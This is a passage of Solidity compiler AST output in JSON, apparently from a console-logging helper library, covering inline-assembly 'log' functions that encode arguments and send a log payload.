"body":{"id":35556,"nodeType":"Block","src":"55412:601:22","nodes":[],"statements":[{"assignments":[35538],"declarations":[{"constant":false,"id":35538,"mutability":"mutable","name":"m0","nameLocation":"55430:2:22","nodeType":"VariableDeclaration","scope":35556,"src":"55422:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"55422:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35539,"nodeType":"VariableDeclarationStatement","src":"55422:10:22"},{"assignments":[35541],"declarations":[{"constant":false,"id":35541,"mutability":"mutable","name":"m1","nameLocation":"55450:2:22","nodeType":"VariableDeclaration","scope":35556,"src":"55442:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35540,"name":"bytes32","nodeType":"ElementaryTypeName","src":"55442:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35542,"nodeType":"VariableDeclarationStatement","src":"55442:10:22"},{"assignments":[35544],"declarations":[{"constant":false,"id":35544,"mutability":"mutable","name":"m2","nameLocation":"55470:2:22","nodeType":"VariableDeclaration","scope":35556,"src":"55462:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35543,"name":"bytes32","nodeType":"ElementaryTypeName","src":"55462:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35545,"nodeType":"VariableDeclarationStatement","src":"55462:10:22"},{"assignments":[35547],"declarations":[{"constant":false,"id":35547,"mutability":"mutable","name":"m3","nameLocation":"55490:2:22","nodeType":"VariableDeclaration","scope":35556,"src":"55482:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35546,"name":"bytes32","nodeType":"ElementaryTypeName","src":"55482:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35548,"nodeType":"VariableDeclarationStatement","src":"55482:10:22"},{"AST":{"nativeSrc":"55511:314:22","nodeType":"YulBlock","src":"55511:314:22","statements":[{"nativeSrc":"55525:17:22","nodeType":"YulAssignment","src":"55525:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"55537:4:22","nodeType":"YulLiteral","src":"55537:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"55531:5:22","nodeType":"YulIdentifier","src":"55531:5:22"},"nativeSrc":"55531:11:22","nodeType":"YulFunctionCall","src":"55531:11:22"},"variableNames":[{"name":"m0","nativeSrc":"55525:2:22","nodeType":"YulIdentifier","src":"55525:2:22"}]},{"nativeSrc":"55555:17:22","nodeType":"YulAssignment","src":"55555:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"55567:4:22","nodeType":"YulLiteral","src":"55567:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"55561:5:22","nodeType":"YulIdentifier","src":"55561:5:22"},"nativeSrc":"55561:11:22","nodeType":"YulFunctionCall","src":"55561:11:22"},"variableNames":[{"name":"m1","nativeSrc":"55555:2:22","nodeType":"YulIdentifier","src":"55555:2:22"}]},{"nativeSrc":"55585:17:22","nodeType":"YulAssignment","src":"55585:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"55597:4:22","nodeType":"YulLiteral","src":"55597:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"55591:5:22","nodeType":"YulIdentifier","src":"55591:5:22"},"nativeSrc":"55591:11:22","nodeType":"YulFunctionCall","src":"55591:11:22"},"variableNames":[{"name":"m2","nativeSrc":"55585:2:22","nodeType":"YulIdentifier","src":"55585:2:22"}]},{"nativeSrc":"55615:17:22","nodeType":"YulAssignment","src":"55615:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"55627:4:22","nodeType":"YulLiteral","src":"55627:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"55621:5:22","nodeType":"YulIdentifier","src":"55621:5:22"},"nativeSrc":"55621:11:22","nodeType":"YulFunctionCall","src":"55621:11:22"},"variableNames":[{"name":"m3","nativeSrc":"55615:2:22","nodeType":"YulIdentifier","src":"55615:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55711:4:22","nodeType":"YulLiteral","src":"55711:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"55717:10:22","nodeType":"YulLiteral","src":"55717:10:22","type":"","value":"0xd1ed7a3c"}],"functionName":{"name":"mstore","nativeSrc":"55704:6:22","nodeType":"YulIdentifier","src":"55704:6:22"},"nativeSrc":"55704:24:22","nodeType":"YulFunctionCall","src":"55704:24:22"},"nativeSrc":"55704:24:22","nodeType":"YulExpressionStatement","src":"55704:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55748:4:22","nodeType":"YulLiteral","src":"55748:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"55754:2:22","nodeType":"YulIdentifier","src":"55754:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55741:6:22","nodeType":"YulIdentifier","src":"55741:6:22"},"nativeSrc":"55741:16:22","nodeType":"YulFunctionCall","src":"55741:16:22"},"nativeSrc":"55741:16:22","nodeType":"YulExpressionStatement","src":"55741:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55777:4:22","nodeType":"YulLiteral","src":"55777:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"55783:2:22","nodeType":"YulIdentifier","src":"55783:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55770:6:22","nodeType":"YulIdentifier","src":"55770:6:22"},"nativeSrc":"55770:16:22","nodeType":"YulFunctionCall","src":"55770:16:22"},"nativeSrc":"55770:16:22","nodeType":"YulExpressionStatement","src":"55770:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55806:4:22","nodeType":"YulLiteral","src":"55806:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"55812:2:22","nodeType":"YulIdentifier","src":"55812:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55799:6:22","nodeType":"YulIdentifier","src":"55799:6:22"},"nativeSrc":"55799:16:22","nodeType":"YulFunctionCall","src":"55799:16:22"},"nativeSrc":"55799:16:22","nodeType":"YulExpressionStatement","src":"55799:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35538,"isOffset":false,"isSlot":false,"src":"55525:2:22","valueSize":1},{"declaration":35541,"isOffset":false,"isSlot":false,"src":"55555:2:22","valueSize":1},{"declaration":35544,"isOffset":false,"isSlot":false,"src":"55585:2:22","valueSize":1},{"declaration":35547,"isOffset":false,"isSlot":false,"src":"55615:2:22","valueSize":1},{"declaration":35530,"isOffset":false,"isSlot":false,"src":"55754:2:22","valueSize":1},{"declaration":35532,"isOffset":false,"isSlot":false,"src":"55783:2:22","valueSize":1},{"declaration":35534,"isOffset":false,"isSlot":false,"src":"55812:2:22","valueSize":1}],"id":35549,"nodeType":"InlineAssembly","src":"55502:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35551,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"55850:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35552,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"55856:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35550,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"55834:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35553,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55834:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35554,"nodeType":"ExpressionStatement","src":"55834:27:22"},{"AST":{"nativeSrc":"55880:127:22","nodeType":"YulBlock","src":"55880:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"55901:4:22","nodeType":"YulLiteral","src":"55901:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"55907:2:22","nodeType":"YulIdentifier","src":"55907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55894:6:22","nodeType":"YulIdentifier","src":"55894:6:22"},"nativeSrc":"55894:16:22","nodeType":"YulFunctionCall","src":"55894:16:22"},"nativeSrc":"55894:16:22","nodeType":"YulExpressionStatement","src":"55894:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55930:4:22","nodeType":"YulLiteral","src":"55930:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"55936:2:22","nodeType":"YulIdentifier","src":"55936:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55923:6:22","nodeType":"YulIdentifier","src":"55923:6:22"},"nativeSrc":"55923:16:22","nodeType":"YulFunctionCall","src":"55923:16:22"},"nativeSrc":"55923:16:22","nodeType":"YulExpressionStatement","src":"55923:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55959:4:22","nodeType":"YulLiteral","src":"55959:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"55965:2:22","nodeType":"YulIdentifier","src":"55965:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55952:6:22","nodeType":"YulIdentifier","src":"55952:6:22"},"nativeSrc":"55952:16:22","nodeType":"YulFunctionCall","src":"55952:16:22"},"nativeSrc":"55952:16:22","nodeType":"YulExpressionStatement","src":"55952:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"55988:4:22","nodeType":"YulLiteral","src":"55988:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"55994:2:22","nodeType":"YulIdentifier","src":"55994:2:22"}],"functionName":{"name":"mstore","nativeSrc":"55981:6:22","nodeType":"YulIdentifier","src":"55981:6:22"},"nativeSrc":"55981:16:22","nodeType":"YulFunctionCall","src":"55981:16:22"},"nativeSrc":"55981:16:22","nodeType":"YulExpressionStatement","src":"55981:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35538,"isOffset":false,"isSlot":false,"src":"55907:2:22","valueSize":1},{"declaration":35541,"isOffset":false,"isSlot":false,"src":"55936:2:22","valueSize":1},{"declaration":35544,"isOffset":false,"isSlot":false,"src":"55965:2:22","valueSize":1},{"declaration":35547,"isOffset":false,"isSlot":false,"src":"55994:2:22","valueSize":1}],"id":35555,"nodeType":"InlineAssembly","src":"55871:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55358:3:22","parameters":{"id":35535,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35530,"mutability":"mutable","name":"p0","nameLocation":"55370:2:22","nodeType":"VariableDeclaration","scope":35557,"src":"55362:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35529,"name":"uint256","nodeType":"ElementaryTypeName","src":"55362:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35532,"mutability":"mutable","name":"p1","nameLocation":"55382:2:22","nodeType":"VariableDeclaration","scope":35557,"src":"55374:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35531,"name":"uint256","nodeType":"ElementaryTypeName","src":"55374:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35534,"mutability":"mutable","name":"p2","nameLocation":"55394:2:22","nodeType":"VariableDeclaration","scope":35557,"src":"55386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35533,"name":"uint256","nodeType":"ElementaryTypeName","src":"55386:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55361:36:22"},"returnParameters":{"id":35536,"nodeType":"ParameterList","parameters":[],"src":"55412:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35592,"nodeType":"FunctionDefinition","src":"56019:1212:22","nodes":[],"body":{"id":35591,"nodeType":"Block","src":"56082:1149:22","nodes":[],"statements":[{"assignments":[35567],"declarations":[{"constant":false,"id":35567,"mutability":"mutable","name":"m0","nameLocation":"56100:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56092:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56092:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35568,"nodeType":"VariableDeclarationStatement","src":"56092:10:22"},{"assignments":[35570],"declarations":[{"constant":false,"id":35570,"mutability":"mutable","name":"m1","nameLocation":"56120:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56112:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35569,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56112:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35571,"nodeType":"VariableDeclarationStatement","src":"56112:10:22"},{"assignments":[35573],"declarations":[{"constant":false,"id":35573,"mutability":"mutable","name":"m2","nameLocation":"56140:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56132:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35572,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56132:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35574,"nodeType":"VariableDeclarationStatement","src":"56132:10:22"},{"assignments":[35576],"declarations":[{"constant":false,"id":35576,"mutability":"mutable","name":"m3","nameLocation":"56160:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56152:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56152:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35577,"nodeType":"VariableDeclarationStatement","src":"56152:10:22"},{"assignments":[35579],"declarations":[{"constant":false,"id":35579,"mutability":"mutable","name":"m4","nameLocation":"56180:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56172:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35578,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56172:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35580,"nodeType":"VariableDeclarationStatement","src":"56172:10:22"},{"assignments":[35582],"declarations":[{"constant":false,"id":35582,"mutability":"mutable","name":"m5","nameLocation":"56200:2:22","nodeType":"VariableDeclaration","scope":35591,"src":"56192:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35581,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56192:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35583,"nodeType":"VariableDeclarationStatement","src":"56192:10:22"},{"AST":{"nativeSrc":"56221:764:22","nodeType":"YulBlock","src":"56221:764:22","statements":[{"body":{"nativeSrc":"56264:313:22","nodeType":"YulBlock","src":"56264:313:22","statements":[{"nativeSrc":"56282:15:22","nodeType":"YulVariableDeclaration","src":"56282:15:22","value":{"kind":"number","nativeSrc":"56296:1:22","nodeType":"YulLiteral","src":"56296:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"56286:6:22","nodeType":"YulTypedName","src":"56286:6:22","type":""}]},{"body":{"nativeSrc":"56367:40:22","nodeType":"YulBlock","src":"56367:40:22","statements":[{"body":{"nativeSrc":"56396:9:22","nodeType":"YulBlock","src":"56396:9:22","statements":[{"nativeSrc":"56398:5:22","nodeType":"YulBreak","src":"56398:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"56384:6:22","nodeType":"YulIdentifier","src":"56384:6:22"},{"name":"w","nativeSrc":"56392:1:22","nodeType":"YulIdentifier","src":"56392:1:22"}],"functionName":{"name":"byte","nativeSrc":"56379:4:22","nodeType":"YulIdentifier","src":"56379:4:22"},"nativeSrc":"56379:15:22","nodeType":"YulFunctionCall","src":"56379:15:22"}],"functionName":{"name":"iszero","nativeSrc":"56372:6:22","nodeType":"YulIdentifier","src":"56372:6:22"},"nativeSrc":"56372:23:22","nodeType":"YulFunctionCall","src":"56372:23:22"},"nativeSrc":"56369:36:22","nodeType":"YulIf","src":"56369:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"56324:6:22","nodeType":"YulIdentifier","src":"56324:6:22"},{"kind":"number","nativeSrc":"56332:4:22","nodeType":"YulLiteral","src":"56332:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"56321:2:22","nodeType":"YulIdentifier","src":"56321:2:22"},"nativeSrc":"56321:16:22","nodeType":"YulFunctionCall","src":"56321:16:22"},"nativeSrc":"56314:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"56338:28:22","nodeType":"YulBlock","src":"56338:28:22","statements":[{"nativeSrc":"56340:24:22","nodeType":"YulAssignment","src":"56340:24:22","value":{"arguments":[{"name":"length","nativeSrc":"56354:6:22","nodeType":"YulIdentifier","src":"56354:6:22"},{"kind":"number","nativeSrc":"56362:1:22","nodeType":"YulLiteral","src":"56362:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"56350:3:22","nodeType":"YulIdentifier","src":"56350:3:22"},"nativeSrc":"56350:14:22","nodeType":"YulFunctionCall","src":"56350:14:22"},"variableNames":[{"name":"length","nativeSrc":"56340:6:22","nodeType":"YulIdentifier","src":"56340:6:22"}]}]},"pre":{"nativeSrc":"56318:2:22","nodeType":"YulBlock","src":"56318:2:22","statements":[]},"src":"56314:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"56431:3:22","nodeType":"YulIdentifier","src":"56431:3:22"},{"name":"length","nativeSrc":"56436:6:22","nodeType":"YulIdentifier","src":"56436:6:22"}],"functionName":{"name":"mstore","nativeSrc":"56424:6:22","nodeType":"YulIdentifier","src":"56424:6:22"},"nativeSrc":"56424:19:22","nodeType":"YulFunctionCall","src":"56424:19:22"},"nativeSrc":"56424:19:22","nodeType":"YulExpressionStatement","src":"56424:19:22"},{"nativeSrc":"56460:37:22","nodeType":"YulVariableDeclaration","src":"56460:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"56477:3:22","nodeType":"YulLiteral","src":"56477:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"56486:1:22","nodeType":"YulLiteral","src":"56486:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"56489:6:22","nodeType":"YulIdentifier","src":"56489:6:22"}],"functionName":{"name":"shl","nativeSrc":"56482:3:22","nodeType":"YulIdentifier","src":"56482:3:22"},"nativeSrc":"56482:14:22","nodeType":"YulFunctionCall","src":"56482:14:22"}],"functionName":{"name":"sub","nativeSrc":"56473:3:22","nodeType":"YulIdentifier","src":"56473:3:22"},"nativeSrc":"56473:24:22","nodeType":"YulFunctionCall","src":"56473:24:22"},"variables":[{"name":"shift","nativeSrc":"56464:5:22","nodeType":"YulTypedName","src":"56464:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"56525:3:22","nodeType":"YulIdentifier","src":"56525:3:22"},{"kind":"number","nativeSrc":"56530:4:22","nodeType":"YulLiteral","src":"56530:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"56521:3:22","nodeType":"YulIdentifier","src":"56521:3:22"},"nativeSrc":"56521:14:22","nodeType":"YulFunctionCall","src":"56521:14:22"},{"arguments":[{"name":"shift","nativeSrc":"56541:5:22","nodeType":"YulIdentifier","src":"56541:5:22"},{"arguments":[{"name":"shift","nativeSrc":"56552:5:22","nodeType":"YulIdentifier","src":"56552:5:22"},{"name":"w","nativeSrc":"56559:1:22","nodeType":"YulIdentifier","src":"56559:1:22"}],"functionName":{"name":"shr","nativeSrc":"56548:3:22","nodeType":"YulIdentifier","src":"56548:3:22"},"nativeSrc":"56548:13:22","nodeType":"YulFunctionCall","src":"56548:13:22"}],"functionName":{"name":"shl","nativeSrc":"56537:3:22","nodeType":"YulIdentifier","src":"56537:3:22"},"nativeSrc":"56537:25:22","nodeType":"YulFunctionCall","src":"56537:25:22"}],"functionName":{"name":"mstore","nativeSrc":"56514:6:22","nodeType":"YulIdentifier","src":"56514:6:22"},"nativeSrc":"56514:49:22","nodeType":"YulFunctionCall","src":"56514:49:22"},"nativeSrc":"56514:49:22","nodeType":"YulExpressionStatement","src":"56514:49:22"}]},"name":"writeString","nativeSrc":"56235:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"56256:3:22","nodeType":"YulTypedName","src":"56256:3:22","type":""},{"name":"w","nativeSrc":"56261:1:22","nodeType":"YulTypedName","src":"56261:1:22","type":""}],"src":"56235:342:22"},{"nativeSrc":"56590:17:22","nodeType":"YulAssignment","src":"56590:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56602:4:22","nodeType":"YulLiteral","src":"56602:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"56596:5:22","nodeType":"YulIdentifier","src":"56596:5:22"},"nativeSrc":"56596:11:22","nodeType":"YulFunctionCall","src":"56596:11:22"},"variableNames":[{"name":"m0","nativeSrc":"56590:2:22","nodeType":"YulIdentifier","src":"56590:2:22"}]},{"nativeSrc":"56620:17:22","nodeType":"YulAssignment","src":"56620:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56632:4:22","nodeType":"YulLiteral","src":"56632:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"56626:5:22","nodeType":"YulIdentifier","src":"56626:5:22"},"nativeSrc":"56626:11:22","nodeType":"YulFunctionCall","src":"56626:11:22"},"variableNames":[{"name":"m1","nativeSrc":"56620:2:22","nodeType":"YulIdentifier","src":"56620:2:22"}]},{"nativeSrc":"56650:17:22","nodeType":"YulAssignment","src":"56650:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56662:4:22","nodeType":"YulLiteral","src":"56662:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"56656:5:22","nodeType":"YulIdentifier","src":"56656:5:22"},"nativeSrc":"56656:11:22","nodeType":"YulFunctionCall","src":"56656:11:22"},"variableNames":[{"name":"m2","nativeSrc":"56650:2:22","nodeType":"YulIdentifier","src":"56650:2:22"}]},{"nativeSrc":"56680:17:22","nodeType":"YulAssignment","src":"56680:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56692:4:22","nodeType":"YulLiteral","src":"56692:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"56686:5:22","nodeType":"YulIdentifier","src":"56686:5:22"},"nativeSrc":"56686:11:22","nodeType":"YulFunctionCall","src":"56686:11:22"},"variableNames":[{"name":"m3","nativeSrc":"56680:2:22","nodeType":"YulIdentifier","src":"56680:2:22"}]},{"nativeSrc":"56710:17:22","nodeType":"YulAssignment","src":"56710:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56722:4:22","nodeType":"YulLiteral","src":"56722:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"56716:5:22","nodeType":"YulIdentifier","src":"56716:5:22"},"nativeSrc":"56716:11:22","nodeType":"YulFunctionCall","src":"56716:11:22"},"variableNames":[{"name":"m4","nativeSrc":"56710:2:22","nodeType":"YulIdentifier","src":"56710:2:22"}]},{"nativeSrc":"56740:17:22","nodeType":"YulAssignment","src":"56740:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"56752:4:22","nodeType":"YulLiteral","src":"56752:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"56746:5:22","nodeType":"YulIdentifier","src":"56746:5:22"},"nativeSrc":"56746:11:22","nodeType":"YulFunctionCall","src":"56746:11:22"},"variableNames":[{"name":"m5","nativeSrc":"56740:2:22","nodeType":"YulIdentifier","src":"56740:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"56835:4:22","nodeType":"YulLiteral","src":"56835:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"56841:10:22","nodeType":"YulLiteral","src":"56841:10:22","type":"","value":"0x71d04af2"}],"functionName":{"name":"mstore","nativeSrc":"56828:6:22","nodeType":"YulIdentifier","src":"56828:6:22"},"nativeSrc":"56828:24:22","nodeType":"YulFunctionCall","src":"56828:24:22"},"nativeSrc":"56828:24:22","nodeType":"YulExpressionStatement","src":"56828:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"56872:4:22","nodeType":"YulLiteral","src":"56872:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"56878:2:22","nodeType":"YulIdentifier","src":"56878:2:22"}],"functionName":{"name":"mstore","nativeSrc":"56865:6:22","nodeType":"YulIdentifier","src":"56865:6:22"},"nativeSrc":"56865:16:22","nodeType":"YulFunctionCall","src":"56865:16:22"},"nativeSrc":"56865:16:22","nodeType":"YulExpressionStatement","src":"56865:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"56901:4:22","nodeType":"YulLiteral","src":"56901:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"56907:2:22","nodeType":"YulIdentifier","src":"56907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"56894:6:22","nodeType":"YulIdentifier","src":"56894:6:22"},"nativeSrc":"56894:16:22","nodeType":"YulFunctionCall","src":"56894:16:22"},"nativeSrc":"56894:16:22","nodeType":"YulExpressionStatement","src":"56894:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"56930:4:22","nodeType":"YulLiteral","src":"56930:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"56936:4:22","nodeType":"YulLiteral","src":"56936:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"56923:6:22","nodeType":"YulIdentifier","src":"56923:6:22"},"nativeSrc":"56923:18:22","nodeType":"YulFunctionCall","src":"56923:18:22"},"nativeSrc":"56923:18:22","nodeType":"YulExpressionStatement","src":"56923:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"56966:4:22","nodeType":"YulLiteral","src":"56966:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"56972:2:22","nodeType":"YulIdentifier","src":"56972:2:22"}],"functionName":{"name":"writeString","nativeSrc":"56954:11:22","nodeType":"YulIdentifier","src":"56954:11:22"},"nativeSrc":"56954:21:22","nodeType":"YulFunctionCall","src":"56954:21:22"},"nativeSrc":"56954:21:22","nodeType":"YulExpressionStatement","src":"56954:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35567,"isOffset":false,"isSlot":false,"src":"56590:2:22","valueSize":1},{"declaration":35570,"isOffset":false,"isSlot":false,"src":"56620:2:22","valueSize":1},{"declaration":35573,"isOffset":false,"isSlot":false,"src":"56650:2:22","valueSize":1},{"declaration":35576,"isOffset":false,"isSlot":false,"src":"56680:2:22","valueSize":1},{"declaration":35579,"isOffset":false,"isSlot":false,"src":"56710:2:22","valueSize":1},{"declaration":35582,"isOffset":false,"isSlot":false,"src":"56740:2:22","valueSize":1},{"declaration":35559,"isOffset":false,"isSlot":false,"src":"56878:2:22","valueSize":1},{"declaration":35561,"isOffset":false,"isSlot":false,"src":"56907:2:22","valueSize":1},{"declaration":35563,"isOffset":false,"isSlot":false,"src":"56972:2:22","valueSize":1}],"id":35584,"nodeType":"InlineAssembly","src":"56212:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35586,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"57010:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"57016:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35585,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"56994:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 